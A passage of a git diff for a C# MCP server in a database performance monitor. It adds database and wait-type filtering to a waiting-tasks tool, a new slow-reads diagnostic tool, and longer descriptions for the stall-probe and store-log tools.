@@ -260,24 +331,56 @@ database_name or blocking_only means the window held no snapshot matching them.
         return onPage.Contains((row.CollectionTime, row.BlockingSessionId)) ? null : "past_page";
     }
 
-    /// <summary>Names the active filters for the filtered-miss sentence, in the caller's own vocabulary.</summary>
-    private static string DescribeActiveQueryFilters(string? databaseName, bool blockingOnly)
+    /// <summary>
+    /// Names the active filters for the filtered-miss sentence, in the caller's own vocabulary, joined with " with ":
+    /// database_name, then blocking_only, then wait_type (#5235). One database keeps the sentence it always had
+    /// (database_name 'X'); two or more say "the chosen databases" (#5245). The database_name and blocking_only wording is
+    /// byte-identical to what it was before the wait filter existed, and Lite's twin says the same.
+    /// </summary>
+    internal static string DescribeActiveQueryFilters(DatabaseFilter databases, bool blockingOnly, string? waitType = null)
     {
-        if (databaseName != null && blockingOnly)
-            return $"database_name '{databaseName}' with blocking_only";
-        if (databaseName != null)
-            return $"database_name '{databaseName}'";
-        return "blocking_only";
+        var parts = new List<string>(3);
+        switch (databases.Names.Count)
+        {
+            case 0:
+                break;
+            case 1:
+                parts.Add($"database_name '{databases.Names[0]}'");
+                break;
+            default:
+                parts.Add(DatabaseFilter.ManyDatabasesDescription);
+                break;
+        }
+        if (blockingOnly)
+            parts.Add("blocking_only");
+        if (waitType != null)
+            parts.Add($"wait_type '{waitType}'");
+        return string.Join(" with ", parts);
     }
 
-    [McpServerTool(Name = "get_waiting_tasks"), Description("Gets recently captured waiting tasks — queries that were actively waiting on a resource at collection time — NEWEST CAPTURE FIRST, longest wait first within a capture. Shows session ID, wait type, duration, blocking session, and database. Complements get_wait_stats by showing individual waiting queries rather than aggregated stats. THE PAGE IS BOUNDED BY limit, NOT BY hours_back: tasks_returned is how many rows you got, truncated says the window held more than limit, and oldest_returned_collection_time / newest_returned_collection_time bound the page — under newest-first ordering the oldest stamp IS how far back this read reached, and one busy capture can fill the whole page by itself. Raise limit or narrow hours_back when truncated is true.")]
-    public static async Task<string> GetWaitingTasks(
+    [McpServerTool(Name = "get_waiting_tasks"), Description("Gets recently captured waiting tasks — queries that were actively waiting on a resource at collection time — NEWEST CAPTURE FIRST, longest wait first within a capture. Shows session ID, wait type, duration, blocking session, and database. Complements get_wait_stats by showing individual waiting queries rather than aggregated stats. <<GUIDE>> THE PAGE IS BOUNDED BY limit, NOT BY hours_back: tasks_returned is how many rows you got, truncated says the window held more than limit, and oldest_returned_collection_time / newest_returned_collection_time bound the page — under newest-first ordering the oldest stamp IS how far back this read reached, and one busy capture can fill the whole page by itself. Raise limit or narrow hours_back when truncated is true. When the store did not cover the whole window, effective_start, window_truncated and truncation_note say where its data starts.")]
+    public static Task<string> GetWaitingTasks(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 1.")] int hours_back = 1,
         [Description("Maximum rows to return, newest capture first. Default 30. This is what bounds the page — read truncated to know whether the window held more.")] int limit = 30,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
-        CancellationToken cancellationToken = default)
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        ILogger? logger = null,
+        CancellationToken cancellationToken = default) =>
+        GetWaitingTasks(postgres, server_name, hours_back, limit, DatabaseFilter.One(database_name), as_of, logger, cancellationToken);
+
+    /// <summary>
+    /// #5244: <see cref="GetWaitingTasks(NpgsqlDataSource,string,int,int,string,ILogger,CancellationToken)"/> over a SET of
+    /// databases. Snapshot rows: the list limits which rows are the population and the cap applies after it, so the page is the newest
+    /// <paramref name="limit"/> of the chosen databases. Every one-name consumer on the empty path is list-aware: a filtered miss still
+    /// asks whether the collector ever ran (so "never collected" stays <c>unavailable</c>, never an <c>empty</c> about databases nobody
+    /// looked at) and otherwise says the CHOSEN databases had none, not that nothing was captured; the echoed <c>database_name</c> is the
+    /// name for one database and "the chosen databases" for two or more.
+    /// </summary>
+    internal static async Task<string> GetWaitingTasks(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, int limit, DatabaseFilter databases, string? as_of,
+        ILogger? logger = null, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -293,10 +396,26 @@ public static async Task<string> GetWaitingTasks(
             /* #3541 A3: the caller's limit + 1 as the fetch, the extra row as the observed truncation
                signal. The reader's LIMIT 500 was invisible, and the envelope stated no bound at all. */
             var rows = await DarlingSessionReader.GetWaitingTasksAsync(
-                postgres, resolved.ServerId, now.AddHours(-hours_back), now, limit + 1, cancellationToken);
+                postgres, resolved.ServerId, now.AddHours(-hours_back), now, limit + 1, databases, cancellationToken);
+
+            /* #4966: the window floor, as get_active_queries writes it (see there). */
+            var windowStart = now.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                () => DarlingMcpWindowNotice.Probe(postgres, "waiting_tasks", resolved.ServerName, windowStart, now, cancellationToken),
+                windowStart, now, "waiting_tasks", emptyAnswer: rows.Count == 0, logger: logger, cancellationToken: cancellationToken);
+            /* #5244: a filtered miss is not a collection miss, but it is not a verdict on databases nobody read either: the collector
+               question is asked first (never collected stays unavailable), and only then does the answer say the CHOSEN databases had
+               none. The unfiltered sentence below is the one it always was. */
+            if (rows.Count == 0 && !databases.IsAll)
+                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "waiting_tasks", cancellationToken)
+                    ?? McpHelpers.Status(
+                        "empty",
+                        $"No waiting tasks captured in the specified time range{DarlingMcpBlockingTools.ForChosenDatabases(databases)}. "
+                        + "The filter was applied in SQL over the whole window, so waiting tasks of other databases may well exist; drop it to see what the window holds.",
+                        notice.AsHints());
             if (rows.Count == 0)
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "waiting_tasks", cancellationToken)
-                    ?? McpHelpers.Status("empty", "No waiting tasks captured in the specified time range.");
+                    ?? McpHelpers.Status("empty", "No waiting tasks captured in the specified time range.", notice.AsHints());
 
             var truncated = rows.Count > limit;
             var page = truncated ? rows.Take(limit).ToList() : rows;
@@ -312,19 +431,31 @@ public static async Task<string> GetWaitingTasks(
                 collection_time = r.CollectionTime.ToString("o")
             });
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 /* #3541 A3: the envelope was bare — server and rows, no window, no count, no bound. Now the
                    span requested, the page described as a page, and the span the page covers. */
                 hours_back,
+                /* #4966: the window floor, always present on a data answer; no effective_hours_back, for the reason given on get_active_queries. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: the name for one database, "the chosen databases" for two or more, null for all. After the three notice
+                   keys, which stay right behind hours_back. */
+                database_name = databases.Describe(),
                 tasks_returned = page.Count,
                 truncated,
-                oldest_returned_collection_time = page.Min(r => r.CollectionTime).ToString("o"),
-                newest_returned_collection_time = page.Max(r => r.CollectionTime).ToString("o"),
+                /* #4966: where the page's rows stop describes the window the page covers, so it prints like
+                   effective_start (UTC, with the Z), and so does the newest bound (#5015); the rows' own times stay as the store holds them. */
+                oldest_returned_collection_time = McpHelpers.FormatEffectiveStart(page.Min(r => r.CollectionTime)),
+                newest_returned_collection_time = McpHelpers.FormatEffectiveStart(page.Max(r => r.CollectionTime)),
                 order = "collection_time_desc",
                 tasks = result
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSlowReadTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSlowReadTools.cs
new file mode 100644
index 0000000000..24b668c8fb
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSlowReadTools.cs
@@ -0,0 +1,256 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Globalization;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The slow-read MCP surface (#5097): the reads the monitoring tool itself answered slowly or badly, with the
+/// arguments they were asked with, the source that answered, and each statement's time. Reads
+/// <c>collect.slow_reads</c>, which <see cref="SlowReadLog"/> fills. Store-scoped; <c>server_name</c> only filters.
+/// </summary>
+[McpServerToolType]
+public sealed class DarlingMcpSlowReadTools
+{
+    public const int DefaultHours = 24;
+    public const int DefaultLimit = 20;
+    public const int MaxLimit = 100;
+
+    /// <summary>How many statements a row shows without <c>full_detail</c>.</summary>
+    internal const int DefaultStatements = 5;
+
+    private static readonly string[] s_surfaces = { "web", "compose", "mcp" };
+
+    [McpServerTool(Name = "get_slow_reads"), Description(
+        "Gets the monitoring tool's OWN slow or failed reads — each with the arguments it was asked with, the source "
+        + "that answered, and its slowest statements. Not a monitored SQL Server or PostgreSQL target. Newest first. "
+        + "Optional server_name, surface (web/compose/mcp) and route filter. Empty means none was recorded, not a failure. "
+        + "<<GUIDE>> "
+        + "Gets the reads the monitoring tool itself answered slowly or badly. The service records one row per read on any "
+        + "surface (web dashboard, composed panel, MCP tool) when the read took 5 seconds or more, or ended in a timeout, "
+        + "error or limit. A cancelled read or a fallback is recorded only when it was also slow; their counts live in "
+        + "get_read_latency. Each row carries surface, route, outcome, total_ms, the server it named (server_name, null for "
+        + "a store-wide read), the arguments (short scalars only: numbers, booleans and strings of 128 characters or fewer; "
+        + "any longer string or JSON-bearing string is shown as [omitted], and a key naming a secret is [redacted] at any "
+        + "depth; the server replaced by its id, a window lifted into window_start and window_end, 4,096 bytes at most), the source that answered (raw, interval_table, hourly_edges) with its reason "
+        + "where the read noted one, error_class (a type name or SQLSTATE, never message text), and statements: the "
+        + "slowest 5 by ms, with statements_omitted saying how many more were left out; full_detail=true returns all stored "
+        + "statements in the order they ran (50 at most, statements_truncated says more ran). A statement's ms runs until "
+        + "its reader CLOSES, so it includes row streaming and the caller's time between rows, not only server time; a "
+        + "statement's rows stays null (the driver reports no returned-row count). The read's own rows is recorded only by "
+        + "reads that count them, as get_query_store_top does, and is null otherwise. A statement label is the product's own SQL "
+        + "text with a short hash; parameter values are never stored. summary counts reads per (surface, route, outcome) "
+        + "over the window and the filters, so it covers more than the page. reads is newest first, then newest id; the "
+        + "page is capped at limit rows or the ~32 KB response budget, whichever cuts first, and truncated says either "
+        + "cut applied. Every instant is UTC from the store's own clock, so there are no *_server_local fields. "
+        + "Empty means no read was recorded for the window and filters, which on a fresh store or one below schema V162 "
+        + "is the expected answer.")]
+    public static async Task<string> GetSlowReads(
+        NpgsqlDataSource postgres,
+        [Description("Hours of history. Default 24; max 168.")] int hours = DefaultHours,
+        [Description("Optional: scope to one monitored server.")] string? server_name = null,
+        [Description("Optional: web, compose or mcp.")] string? surface = null,
+        [Description("Optional: one route (tool or read name).")] string? route = null,
+        [Description("Rows to return. Default 20; max 100.")] int limit = DefaultLimit,
+        [Description("True returns every stored statement, in run order.")] bool full_detail = false,
+        CancellationToken cancellationToken = default)
+    {
+        var hoursError = McpHelpers.ValidateHoursBack(hours);
+        if (hoursError != null)
+        {
+            return hoursError;
+        }
+
+        if (limit <= 0 || limit > MaxLimit)
+        {
+            return McpHelpers.Refusal("limit", $"Invalid limit value '{limit}'. Must be 1-{MaxLimit}.");
+        }
+
+        var surfaceError = McpHelpers.ValidateChoice(surface, s_surfaces, "surface");
+        if (surfaceError != null)
+        {
+            return surfaceError;
+        }
+
+        try
+        {
+            int? serverId = null;
+            if (!string.IsNullOrWhiteSpace(server_name))
+            {
+                var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+                if (error != null)
+                {
+                    return error;
+                }
+
+                serverId = resolved.ServerId;
+            }
+
+            var since = DateTime.UtcNow.AddHours(-hours);
+            var page = await DarlingSlowReadReader.GetAsync(postgres, since, serverId, surface, route, limit, cancellationToken);
+            if (page.Summary.Count == 0 && page.Reads.Count == 0)
+            {
+                return McpHelpers.Status(
+                    "empty",
+                    $"No slow read recorded in the last {hours} hour(s)" +
+                    (serverId is null && string.IsNullOrWhiteSpace(surface) && string.IsNullOrWhiteSpace(route) ? "" : " for that filter") +
+                    ". The service records a read that took 5 seconds or more, or ended in a timeout, error or limit; " +
+                    "a store before schema V162, or a quiet window, has none.");
+            }
+
+            return BuildResponse(hours, server_name, surface, route, page, limit, full_detail, McpResponseBudget.DefaultBytes);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_slow_reads", ex);
+        }
+    }
+
+    /// <summary>The statements a row shows: the slowest <see cref="DefaultStatements"/> by ms desc then ordinal asc, or all in run order.</summary>
+    internal static (List<object> Shown, int Omitted) ShapeStatements(JsonArray statements, bool fullDetail)
+    {
+        var parsed = statements
+            .OfType<JsonObject>()
+            .Select(s => (
+                Ordinal: s["ordinal"]?.GetValue<int>() ?? 0,
+                Label: s["label"]?.GetValue<string>() ?? string.Empty,
+                Ms: Math.Round(s["ms"]?.GetValue<double>() ?? 0, 1, MidpointRounding.AwayFromZero),
+                Rows: s["rows"]?.GetValue<long?>()))
+            .ToList();
+
+        var chosen = fullDetail
+            ? parsed.OrderBy(s => s.Ordinal).ToList()
+            : parsed.OrderByDescending(s => s.Ms).ThenBy(s => s.Ordinal).Take(DefaultStatements).ToList();
+
+        return (chosen.Select(s => (object)new { ordinal = s.Ordinal, label = s.Label, ms = s.Ms, rows = s.Rows }).ToList(),
+            parsed.Count - chosen.Count);
+    }
+
+    /// <summary>A one-line summary of a row's three slowest statements, built here so the browser computes nothing.</summary>
+    internal static string StatementSummary(JsonArray statements)
+    {
+        var top = statements
+            .OfType<JsonObject>()
+            .Select(s => (
+                Ordinal: s["ordinal"]?.GetValue<int>() ?? 0,
+                Label: s["label"]?.GetValue<string>() ?? string.Empty,
+                Ms: Math.Round(s["ms"]?.GetValue<double>() ?? 0, 1, MidpointRounding.AwayFromZero),
+                Rows: s["rows"]?.GetValue<long?>()))
+            .OrderByDescending(s => s.Ms)
+            .ThenBy(s => s.Ordinal)
+            .Take(3);
+
+        return string.Join("; ", top.Select(s =>
+        {
+            var label = s.Label.Length > 40 ? s.Label[..40] : s.Label;
+            var rows = s.Rows is { } r ? $", {r.ToString("N0", CultureInfo.InvariantCulture)} rows" : string.Empty;
+            return $"#{s.Ordinal} {label} {s.Ms.ToString("N0", CultureInfo.InvariantCulture)} ms{rows}";
+        }));
+    }
+
+    internal static object ShapeRow(DarlingSlowReadReader.SlowReadRow r, bool fullDetail)
+    {
+        var (shown, omitted) = ShapeStatements(r.Statements, fullDetail);
+        return new
+        {
+            read_time = McpHelpers.FormatEffectiveStart(r.ReadTime),
+            surface = r.Surface,
+            route = r.Route,
+            outcome = r.Outcome,
+            total_ms = r.TotalMs,
+            server_name = r.ServerName,
+            window_start = McpHelpers.FormatEffectiveStart(r.WindowStart),
+            window_end = McpHelpers.FormatEffectiveStart(r.WindowEnd),
+            arguments = r.Arguments,
+            arguments_truncated = r.ArgumentsTruncated,
+            source = r.Source,
+            source_reason = r.SourceReason,
+            error_class = r.ErrorClass,
+            rows = r.RowCount,
+            statement_count = r.StatementCount,
+            statements_truncated = r.StatementsTruncated,
+            statements_omitted = omitted,
+            statement_summary = StatementSummary(r.Statements),
+            statements = shown,
+        };
+    }
+
+    /// <summary>
+    /// Serializes the page: the first <paramref name="limit"/> rows, further cut to fit <paramref name="budgetBytes"/>
+    /// the way <see cref="DarlingMcpReadLatencyTools.BuildResponse"/> does it: rows are taken greedily, then the REAL
+    /// envelope is serialized and the last row dropped while it is over budget with more than one row left.
+    /// </summary>
+    internal static string BuildResponse(
+        int hours, string? serverName, string? surface, string? route, DarlingSlowReadReader.Page page, int limit, bool fullDetail, int budgetBytes)
+    {
+        var summary = page.Summary
+            .OrderByDescending(s => s.Count)
+            .ThenBy(s => s.Surface, StringComparer.Ordinal)
+            .ThenBy(s => s.Route, StringComparer.Ordinal)
+            .ThenBy(s => s.Outcome, StringComparer.Ordinal)
+            .Select(s => (object)new { surface = s.Surface, route = s.Route, outcome = s.Outcome, count = s.Count })
+            .ToArray();
+        var total = page.Summary.Sum(s => s.Count);
+
+        var shaped = page.Reads
+            .OrderByDescending(r => r.ReadTime)
+            .ThenByDescending(r => r.SlowReadId)
+            .Take(limit)
+            .Select(r => ShapeRow(r, fullDetail))
+            .ToList();
+
+        string Envelope(IReadOnlyList<object> rows, bool truncated) => JsonSerializer.Serialize(new
+        {
+            hours,
+            server_name = serverName,
+            surface,
+            route,
+            truncated,
+            reads_returned = rows.Count,
+            reads_total = total,
+            summary,
+            reads = rows,
+        });
+
+        var kept = new List<object>();
+        var running = Encoding.UTF8.GetByteCount(Envelope(Array.Empty<object>(), true));
+        foreach (var row in shaped)
+        {
+            var added = Encoding.UTF8.GetByteCount(JsonSerializer.Serialize(row)) + (kept.Count == 0 ? 0 : 1);
+            if (kept.Count > 0 && running + added > budgetBytes)
+            {
+                break;
+            }
+
+            running += added;
+            kept.Add(row);
+        }
+
+        var result = Envelope(kept, kept.Count < total);
+        while (Encoding.UTF8.GetByteCount(result) > budgetBytes && kept.Count > 1)
+        {
+            kept.RemoveAt(kept.Count - 1);
+            result = Envelope(kept, true);
+        }
+
+        return result;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStallProbeTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStallProbeTools.cs
index a57f66230a..c6f7162034 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStallProbeTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStallProbeTools.cs
@@ -46,7 +46,7 @@ public sealed class DarlingMcpStallProbeTools
     public const int MaxDaysBack = StallWaitProbeRunner.RetentionDays;
 
     [McpServerTool(Name = "get_collector_stall_probes"), Description(
-        "Out-of-band DMV samples taken when this service's own collector stalls reading a monitored server: waits/schedulers plus client-side trigger evidence. Sampled only when a collector's wall-clock budget is a quarter elapsed and throughput is under 1 MB/s; rare, so a not_collected empty answer is EXPECTED and healthy. scheduler_count is the sample's denominator: waiting_task_count 0 beside it is a real all-clear. outcome_census is never filtered to successes: CONNECT_FAILED/CONNECT_TIMED_OUT are findings. Unbanded, untrended: one row is evidence about a moment. <<GUIDE>> Gets the out-of-band, server-wide wait samples this tool took while one of its OWN collectors was stalled mid-read on a monitored server. This is the answer to a question nothing else here can reach: collectors run strictly sequentially per server, so a collector stalled in its result-set drain is itself holding the sequence that waiting_tasks, dmv_blocking_snapshot and query_snapshots would run in. When a server-scoped collector that declares a wall-clock budget is a quarter of the way through it and delivering under 1 MB/s, the service opens ONE additional connection, takes one sample of sys.dm_os_waiting_tasks and sys.dm_os_schedulers, stores it, and never retries. Each row carries BOTH halves: the client-side trigger evidence (how far into the budget it fired, how many rows and bytes had arrived, and the terminal silence — trigger_elapsed_ms minus trigger_last_read_ms, which was 0-3 ms on every stall measured, i.e. the stream was streaming SLOWLY and never went quiet) and the server-wide sample (waiting task count and distinct wait types across the WHOLE instance, the heaviest wait type with its totals, a summary line of the top five, and the scheduler aggregate: runnable tasks, work-queue length, pending disk IO, and the busiest single scheduler). Read the scheduler figures beside the waits: an instance producing rows 50x slowly with high runnable_tasks is scheduler pressure, with high pending_disk_io is storage, with a leading LCK_ wait is blocking, and with everything quiet is none of those and points off the instance entirely. waiting_task_count is the whole instance before the top-five cut, and scheduler_count is the sample's own DENOMINATOR — every live SQL Server reports at least one VISIBLE ONLINE scheduler, so a zero waiting_task_count beside a positive scheduler_count is a real all-clear rather than a probe that read nothing. The outcome census is always returned and is NOT filtered to successful samples, on purpose: whether a fresh connection can be obtained mid-stall has never been established, so CONNECT_FAILED and CONNECT_TIMED_OUT are findings in their own right and connect_ms on a SAMPLED row is the first measurement of it. connect_ms is time-to-usable-connection and not a claim about a login. Deliberately UNBANDED and untrended — a probe row is evidence about one moment, not a series with a healthy range. Takes no band, no thresholds; pass server_name to scope it, or leave it off for the fleet.")]
+        "Out-of-band DMV samples taken when this service's own collector stalls reading a monitored server: waits/schedulers plus client-side trigger evidence. Sampled only when a collector's wall-clock budget is a quarter elapsed and throughput is under 1 MB/s; rare, so a not_collected empty answer is EXPECTED and healthy. scheduler_count is the sample's denominator: waiting_task_count 0 beside it is a real all-clear. outcome_census is never filtered to successes: CONNECT_FAILED/CONNECT_TIMED_OUT are findings. Unbanded, untrended: one row is evidence about a moment. <<GUIDE>> Gets the out-of-band, server-wide wait samples this tool took while one of its OWN collectors was stalled mid-read on a monitored server. This is the answer to a question nothing else here can reach: collectors run strictly sequentially per server, so a collector stalled in its result-set drain is itself holding the sequence that waiting_tasks, dmv_blocking_snapshot and query_snapshots would run in. When a server-scoped collector that declares a wall-clock budget is a quarter of the way through it and delivering under 1 MB/s, the service opens ONE additional connection, takes one sample of sys.dm_os_waiting_tasks and sys.dm_os_schedulers (plus sys.dm_exec_sessions and sys.dm_exec_requests for its own session), stores it, and never retries. Each row carries BOTH halves: the client-side trigger evidence (how far into the budget it fired, how many rows and bytes had arrived, and the terminal silence — trigger_elapsed_ms minus trigger_last_read_ms, which was 0-3 ms on every stall measured, i.e. the stream was streaming SLOWLY and never went quiet) and the server-wide sample (waiting task count and distinct wait types across the WHOLE instance, the heaviest wait among USER tasks with its totals, a summary line of the top five, and the scheduler aggregate: runnable tasks, work-queue length, pending disk IO, and the busiest single scheduler). Read the scheduler figures beside the waits: an instance producing rows 50x slowly with high runnable_tasks is scheduler pressure, with high pending_disk_io is storage, with a leading LCK_ wait is blocking, and with everything quiet is none of those and points off the instance entirely. Background system tasks (sys.dm_exec_sessions.is_user_process = 0) are never ranked, because a long-parked engine thread cannot explain a stall, but they are counted in waiting_task_count and named in wait_summary's 'excluded from ranking' tail. Idle waits (the ignored-wait list, e.g. SP_SERVER_DIAGNOSTICS_SLEEP from the availability-group health check) are not ranked either and are counted as 'idle K tasks/J types' in that tail, so a null top wait can mean only idle waits; SOS_SCHEDULER_YIELD, THREADPOOL and ASYNC_NETWORK_IO always rank. wait_summary also ends with this service's own collector session's wait ('ours: ...'), matched by application name and client host, not by session id: ASYNC_NETWORK_IO there means the instance was waiting on this service's client, and 'ours (oldest of N)' means several sessions matched and the oldest request is shown. Only a row from an old build lacks the tail, and it ranked background waits too. A tail without 'idle K tasks/J types' is from a build that still ranked idle waits. waiting_task_count is the whole instance before the top-five cut, and scheduler_count is the sample's own DENOMINATOR — every live SQL Server reports at least one VISIBLE ONLINE scheduler, so a zero waiting_task_count beside a positive scheduler_count is a real all-clear rather than a probe that read nothing. The outcome census is always returned and is NOT filtered to successful samples, on purpose: whether a fresh connection can be obtained mid-stall has never been established, so CONNECT_FAILED and CONNECT_TIMED_OUT are findings in their own right and connect_ms on a SAMPLED row is the first measurement of it. connect_ms is time-to-usable-connection and not a claim about a login. Deliberately UNBANDED and untrended — a probe row is evidence about one moment, not a series with a healthy range. Takes no band, no thresholds; pass server_name to scope it, or leave it off for the fleet.")]
     public static async Task<string> GetCollectorStallProbes(
         NpgsqlDataSource postgres,
         [Description("Optional: server name or display name. Omit for the whole fleet.")] string? server_name = null,
@@ -119,7 +119,9 @@ public static async Task<string> GetCollectorStallProbes(
                         + "fires on: the measured failure mode streams slowly with 0-3 ms of it, so a condition "
                         + "keyed on the reader going quiet would never fire on the real defect. "
                         + "waiting_task_count is the whole instance before the top-five cut; scheduler_count is "
-                        + "the sample's denominator, so zero waits beside a positive count is a real all-clear.",
+                        + "the sample's denominator, so zero waits beside a positive count is a real all-clear; "
+                        + "the top five rank non-idle user-task waits only; wait_summary's tail counts the excluded "
+                        + "background and idle tasks and gives our own session's wait.",
                     outcome_census = census.Select(c => new
                     {
                         outcome = c.Outcome,
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreLogTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreLogTools.cs
index 7c45b27e74..e31da6dd63 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreLogTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreLogTools.cs
@@ -41,7 +41,7 @@ public sealed class DarlingMcpStoreLogTools
         + "classes are named+counted as the expected floor (cancels, admin terminations, memory retries); NO "
         + "health band — a large cancel floor is healthy. Every answer carries the capture denominator "
         + "(captures vs expected, bytes read/unread) separating a quiet store from an unread log. <<GUIDE>> "
-        + "Gets what the monitoring store's OWN PostgreSQL server log recorded — not a monitored server's. The service reads its own store's log hourly, classifies every entry, and stores a per-class census rather than the lines, because a production day of that log holds roughly 1,100 'canceling statement due to user request' entries: the store's rendering of a client-side CommandTimeout cancel, which is the ordinary consequence of having timeouts and not a fault. So each class comes back with its window total, its per-hour median and max over the same window (computed over EVERY captured hour, including the ones the class did not appear in), and whether its text is retained. Classes whose text is NOT retained are the expected floor, named and counted so the exclusion is a number you can see rather than a filter you cannot: user-request cancels, administrator terminations of background workers and connections, and the Windows shared-memory-reservation retry that PostgreSQL retries itself. Classes whose text IS retained are the ones worth reading one at a time: crash recovery, data-integrity and disk complaints, background-worker slot exhaustion (the silent stopper for compression and continuous-aggregate jobs), the store deadlocking against itself, connections lost mid-statement (the signature of a refresh convoy), the store's own statement and lock timeouts, statements that ran past the store's slow-statement line (the statement kept with its literals masked, one row per statement however often it ran), panics, and — this is the safety net — anything at WARNING or worse that no rule recognises, which keeps its text so a shape nobody anticipated is visible rather than filtered. Messages are shown as PostgreSQL wrote them; SQL text is normalized with literals replaced by ?. Messages that differ only in a quoted value or a number count as one, shown with one sample. Every answer carries the CAPTURE DENOMINATOR: how many hourly captures landed against how many the window expected, how many bytes were read, how many captures discarded a resume marker because the weekday log ring truncated the file, and how many bytes are still unread. That denominator is what separates 'the store said nothing' from 'nobody read the log'. NO health band is applied and none is intended: a quiet store with a large cancel floor is healthy and must keep reading that way. Takes no server_name — the store is the subject.")]
+        + "Gets what the monitoring store's OWN PostgreSQL server log recorded — not a monitored server's. The service reads its own store's log hourly, classifies every entry, and stores a per-class census rather than the lines, because a production day of that log holds roughly 1,100 'canceling statement due to user request' entries: the store's rendering of a client-side CommandTimeout cancel, which is the ordinary consequence of having timeouts and not a fault. So each class comes back with its window total, its per-hour median and max over the same window (computed over EVERY captured hour, including the ones the class did not appear in), and whether its text is retained. Classes whose text is NOT retained are the expected floor, named and counted so the exclusion is a number you can see rather than a filter you cannot: user-request cancels, administrator terminations of background workers and connections, and the Windows shared-memory-reservation retry that PostgreSQL retries itself. Classes whose text IS retained are the ones worth reading one at a time: crash recovery, data-integrity and disk complaints, background-worker slot exhaustion (the silent stopper for compression and continuous-aggregate jobs), the store deadlocking against itself, connections lost mid-statement (the signature of a refresh convoy), the store's own statement and lock timeouts, statements that ran past the store's slow-statement line (the statement kept with its literals masked, one row per statement however often it ran), auto_explain plans (kept as redacted JSON, one row per plan, where runs with the same plan and estimates share a row, with the statement's query id when the plan carries one; a plan that cannot be read whole keeps only its duration line), panics, and — this is the safety net — anything at WARNING or worse that no rule recognises, which keeps its text so a shape nobody anticipated is visible rather than filtered. Messages are shown as PostgreSQL wrote them; SQL text is normalized with literals replaced by ?. Messages that differ only in a quoted value or a number count as one, shown with one sample. Every answer carries the CAPTURE DENOMINATOR: how many hourly captures landed against how many the window expected, how many bytes were read, how many captures discarded a resume marker because the weekday log ring truncated the file, and how many bytes are still unread. That denominator is what separates 'the store said nothing' from 'nobody read the log'. NO health band is applied and none is intended: a quiet store with a large cancel floor is healthy and must keep reading that way. Takes no server_name — the store is the subject. A statement cancelled by statement_timeout never finishes, so auto_explain logs no plan for it.")]
     public static async Task<string> GetStoreLog(
         NpgsqlDataSource postgres,
         [Description("Hours of history. Default 24; max 168.")] int hours_back = 24,
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs
index 52a8402861..96b1e32c10 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs
@@ -79,7 +79,7 @@ public sealed class DarlingMcpStoreMetricsTools
         + "answered. job_history is ownership-filtered: empty may mean no visibility, not no jobs; check "
         + "execution_logging/owner_evidence. retention.held policies are PAUSED by the rollup gate; arming by "
         + "hand drops history's only copy. inventory.reconciled=false flags bytes no row explains. <<GUIDE>> "
